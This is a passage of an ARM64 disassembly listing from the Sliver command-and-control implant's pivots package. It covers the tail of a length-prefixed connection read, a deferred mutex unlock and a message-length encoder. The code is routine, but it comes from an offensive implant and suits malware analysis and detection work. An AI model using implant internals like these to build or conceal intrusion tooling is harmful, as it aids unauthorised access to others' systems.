    0042ef84add sp, sp, 672
    0042ef88ret x30
    0042ef8c
    0042ef8cloc_42ef8c:
    0042ef8cadrp x0, 0x1c7000
    0042ef90add x0, x0, 3072
    0042ef94mov x1, x2
    0042ef98bl runtime.makeslice
    0042ef9cldr x3, [sp+72]
    0042efa0ldr x4, [sp+72]
    0042efa4str x0, [sp+232]
    0042efa8str x3, [sp+240]
    0042efacstr x4, [sp+248]
    0042efb0add x27, sp, 632
    0042efb4stp xzr, xzr, [x27]
    0042efb8ldr x3, [sp+680]
    0042efbcldrsb x27, [x3]
    0042efc0ldr x1, [x3+16]
    0042efc4ldr x3, [x3+8]
    0042efc8str x3, [sp+384]
    0042efccstr x1, [sp+392]
    0042efd0cbnz x3, 0x42efd8
    0042efd4b 0x42eff8
    0042efd8
    0042efd8loc_42efd8:
    0042efd8str x1, [sp+272]
    0042efdcldr x1, [x3+8]
    0042efe0adrp x0, 0x5df000
    0042efe4add x0, x0, 4048
    0042efe8bl runtime.typeAssert
    0042efecldr x1, [sp+272]
    0042eff0mov x3, x0
    0042eff4b 0x42effc
    0042eff8
    0042eff8loc_42eff8:
    0042eff8b 0x42effc
    0042effc
    0042effcloc_42effc:
    0042effcstr x3, [sp+368]
    0042f000str x1, [sp+376]
    0042f004ldr x2, [sp+232]
    0042f008ldr x5, [sp+240]
    0042f00cldr x4, [sp+248]
    0042f010mov x0, x3
    0042f014mov x3, x5
    0042f018bl io.ReadFull
    0042f01cstr x0, [sp+136]
    0042f020str x1, [sp+632]
    0042f024str x2, [sp+640]
    0042f028ldr x5, [sp+136]
    0042f02cstr x5, [sp+144]
    0042f030str x1, [sp+648]
    0042f034str x2, [sp+656]
    0042f038ldr x5, [sp+144]
    0042f03cstr x5, [sp+64]
    0042f040str x1, [sp+192]
    0042f044str x2, [sp+200]
    0042f048subs xzr, x1, 0
    0042f04ccset x5, ne
    0042f050strb w5, [sp+59]
    0042f054cbnz x1, 0x42f05c
    0042f058b 0x42f060
    0042f05c
    0042f05cloc_42f05c:
    0042f05cb 0x42f078
    0042f060
    0042f060loc_42f060:
    0042f060ldr x5, [sp+64]
    0042f064ldr x6, [sp+72]
    0042f068subs xzr, x6, x5
    0042f06ccset x5, ne
    0042f070strb w5, [sp+59]
    0042f074b 0x42f078
    0042f078
    0042f078loc_42f078:
    0042f078ldrb w5, [sp+59]
    0042f07ctbnz w5, 0, 0x42f084
    0042f080b 0x42f184
    0042f084
    0042f084loc_42f084:
    0042f084add x27, sp, 616
    0042f088stp xzr, xzr, [x27]
    0042f08cadd x5, sp, 616
    0042f090str x5, [sp+336]
    0042f094ldr x5, [sp+192]
    0042f098ldr x6, [sp+200]
    0042f09cstr x5, [sp+320]
    0042f0a0str x6, [sp+328]
    0042f0a4str x5, [sp+312]
    0042f0a8ldr x5, [sp+312]
    0042f0accbnz x5, 0x42f0b4
    0042f0b0b 0x42f0c4
    0042f0b4
    0042f0b4loc_42f0b4:
    0042f0b4ldr x5, [sp+312]
    0042f0b8ldr x5, [x5+8]
    0042f0bcstr x5, [sp+312]
    0042f0c0b 0x42f0c8
    0042f0c4
    0042f0c4loc_42f0c4:
    0042f0c4b 0x42f0c8
    0042f0c8
    0042f0c8loc_42f0c8:
    0042f0c8ldr x5, [sp+336]
    0042f0ccldrsb x27, [x5]
    0042f0d0ldr x6, [sp+312]
    0042f0d4ldr x7, [sp+328]
    0042f0d8str x6, [x5]
    0042f0dcadrp x27, 0x61c000
    0042f0e0ldr w6, [x27+3056]
    0042f0e4cbz w6, 0x42f0ec
    0042f0e8b 0x42f0f0
    0042f0ec
    0042f0ecloc_42f0ec:
    0042f0ecb 0x42f104
    0042f0f0
    0042f0f0loc_42f0f0:
    0042f0f0bl runtime.gcWriteBarrier2
    0042f0f4str x7, [x25]
    0042f0f8ldr x6, [x5+8]
    0042f0fcstr x6, [x25+8]
    0042f100b 0x42f104
    0042f104
    0042f104loc_42f104:
    0042f104str x7, [x5+8]
    0042f108ldr x2, [sp+336]
    0042f10cldrsb x27, [x2]
    0042f110b 0x42f114
    0042f114
    0042f114loc_42f114:
    0042f114str x2, [sp+344]
    0042f118orr x4, xzr, 1
    0042f11cstr x4, [sp+352]
    0042f120str x4, [sp+360]
    0042f124adrp x0, 0x289000
    0042f128add x0, x0, 1605
    0042f12cmovz x1, 23
    0042f130mov x3, x4
    0042f134bl log.Printf
    0042f138ldr x5, [sp+192]
    0042f13cldr x6, [sp+200]
    0042f140str x5, [sp+296]
    0042f144str x6, [sp+304]
    0042f148str xzr, [sp+168]
    0042f14cstp xzr, xzr, [sp+176]
    0042f150ldr x5, [sp+296]
    0042f154ldr x6, [sp+304]
    0042f158str x5, [sp+152]
    0042f15cstr x6, [sp+160]
    0042f160bl runtime.deferreturn
    0042f164ldr x3, [sp+152]
    0042f168ldr x0, [sp+168]
    0042f16cldr x1, [sp+176]
    0042f170ldr x4, [sp+160]
    0042f174ldr x2, [sp+184]
    0042f178ldp x29, x30, [sp-8]
    0042f17cadd sp, sp, 672
    0042f180ret x30
    0042f184
    0042f184loc_42f184:
    0042f184ldr x0, [sp+192]
    0042f188ldr x1, [sp+200]
    0042f18cstr x0, [sp+280]
    0042f190str x1, [sp+288]
    0042f194ldr x0, [sp+232]
    0042f198ldr x1, [sp+240]
    0042f19cldr x2, [sp+248]
    0042f1a0str x0, [sp+168]
    0042f1a4str x1, [sp+176]
    0042f1a8str x2, [sp+184]
    0042f1acldr x0, [sp+280]
    0042f1b0ldr x1, [sp+288]
    0042f1b4str x0, [sp+152]
    0042f1b8str x1, [sp+160]
    0042f1bcbl runtime.deferreturn
    0042f1c0ldr x3, [sp+152]
    0042f1c4ldr x0, [sp+168]
    0042f1c8ldr x1, [sp+176]
    0042f1ccldr x4, [sp+160]
    0042f1d0ldr x2, [sp+184]
    0042f1d4ldp x29, x30, [sp-8]
    0042f1d8add sp, sp, 672
    0042f1dcret x30
    0042f1e0
    0042f1e0loc_42f1e0:
    0042f1e0bl runtime.deferreturn
    0042f1e4ldr x3, [sp+152]
    0042f1e8ldr x0, [sp+168]
    0042f1ecldr x1, [sp+176]
    0042f1f0ldr x4, [sp+160]
    0042f1f4ldr x2, [sp+184]
    0042f1f8ldp x29, x30, [sp-8]
    0042f1fcadd sp, sp, 672
    0042f200ret x30
    0042f204
    0042f204loc_42f204:
    0042f204str x0, [sp+8]
    0042f208mov x3, x30
    0042f20cbl runtime.morestack_noctxt.abi0
    0042f210ldr x0, [sp+8]
    0042f214b 0x42eba0
    0042f218udf 0
    0042f21cudf 0
    0042eba0
    0042f220
    0042f220github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).read.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).read.deferwrap1(void)
    0042f220ldr x16, [x28+16]
    0042f224subs xzr, sp, x16
    0042f228b.ls 0x42f258
    0042f22cstr x30, [sp-32]!
    0042f230stur x29, [sp-8]
    0042f234sub x29, sp, 8
    0042f238ldr x16, [x28+32]
    0042f23ccbnz x16, 0x42f264
    0042f240
    0042f240loc_42f240:
    0042f240ldr x0, [x26+8]
    0042f244str x0, [sp+16]
    0042f248bl sync.(*Mutex).Unlock
    0042f24cldur x29, [sp-8]
    0042f250ldr x30, [sp], 32
    0042f254ret x30
    0042f258
    0042f258loc_42f258:
    0042f258mov x3, x30
    0042f25cbl runtime.morestack.abi0
    0042f260b 0x42f220
    0042f264
    0042f264loc_42f264:
    0042f264ldr x17, [x16]
    0042f268add x20, sp, 40
    0042f26csubs xzr, x20, x17
    0042f270b.ne 0x42f240
    0042f274add x20, sp, 8
    0042f278str x20, [x16]
    0042f27cb 0x42f240
    0042f220
    0042f280
    0042f280github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).lengthOf: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).lengthOf(github.com/bishopfox/sliver/implant/sliver/pivots.NetConnPivot * p, struct []uint8 message)
    0042f280ldr x16, [x28+16]
    0042f284sub x17, sp, 16
    0042f288subs xzr, x17, x16
    0042f28cb.ls 0x42f32c
    0042f290str x30, [sp-144]!
    0042f294stur x29, [sp-8]
    0042f298sub x29, sp, 8
    0042f29cstr x0, [sp+152]
    0042f2a0str x1, [sp+160]
    0042f2a4str x2, [sp+168]
    0042f2a8str x3, [sp+176]
    0042f2acstr xzr, [sp+72]
    0042f2b0stp xzr, xzr, [sp+80]
    0042f2b4adrp x0, 0x223000
    0042f2b8add x0, x0, 2048
    0042f2bcbl runtime.newobject
    0042f2c0str x0, [sp+96]
    0042f2c4str x0, [sp+128]
    0042f2c8ldr x1, [sp+168]
    0042f2ccstr x1, [sp+64]
    0042f2d0str w1, [sp+60]
    0042f2d4ldr x1, [sp+128]
    0042f2d8adrp x0, 0x2e4000
    0042f2dcadd x0, x0, 2976
    0042f2e0adrp x2, 0x2eb000
    0042f2e4add x2, x2, 2128
    0042f2e8adrp x3, 0x61c000
    0042f2ecadd x3, x3, 1504
    0042f2f0adrp x4, 0x1c6000
    0042f2f4add x4, x4, 3328
    0042f2f8add x5, sp, 60
    0042f2fcbl encoding/binary.Write
    0042f300ldr x0, [sp+96]
    0042f304bl bytes.(*Buffer).Bytes
    0042f308str x0, [sp+104]
    0042f30cstr x1, [sp+112]
    0042f310str x2, [sp+120]
    0042f314str x0, [sp+72]
    0042f318str x1, [sp+80]
    0042f31cstr x2, [sp+88]
    0042f320ldur x29, [sp-8]
    0042f324ldr x30, [sp], 144
    0042f328ret x30
    0042f32c
    0042f32cloc_42f32c:
    0042f32cstp x0, x1, [sp+8]
    0042f330stp x2, x3, [sp+24]
    0042f334mov x3, x30
    0042f338bl runtime.morestack_noctxt.abi0
    0042f33cldp x0, x1, [sp+8]
    0042f340ldp x2, x3, [sp+24]
    0042f344b 0x42f280
    0042f348udf 0
    0042f34cudf 0
    0042f280